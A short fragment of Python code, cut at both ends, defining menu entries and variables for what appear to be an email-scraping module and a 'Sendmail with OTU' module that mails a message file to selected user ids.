"attempt to scrape a user from the email field. DO NOT EXECUTE MORE THAN ONCE OR YOU WILL SEND "
"DUPLICATE EMAILS",
'variables': {
'db_username': self.username,
'db_password': self.password,
'db_name': self.dbname,
'email_file': self.emails,
'user_file': self.usersfile
}
}
self.sendmail_vars = {
'menu': "Sendmail with OTU",
'desc': "This module sends a message file to selected user ids (default all, can be comma-delimited, "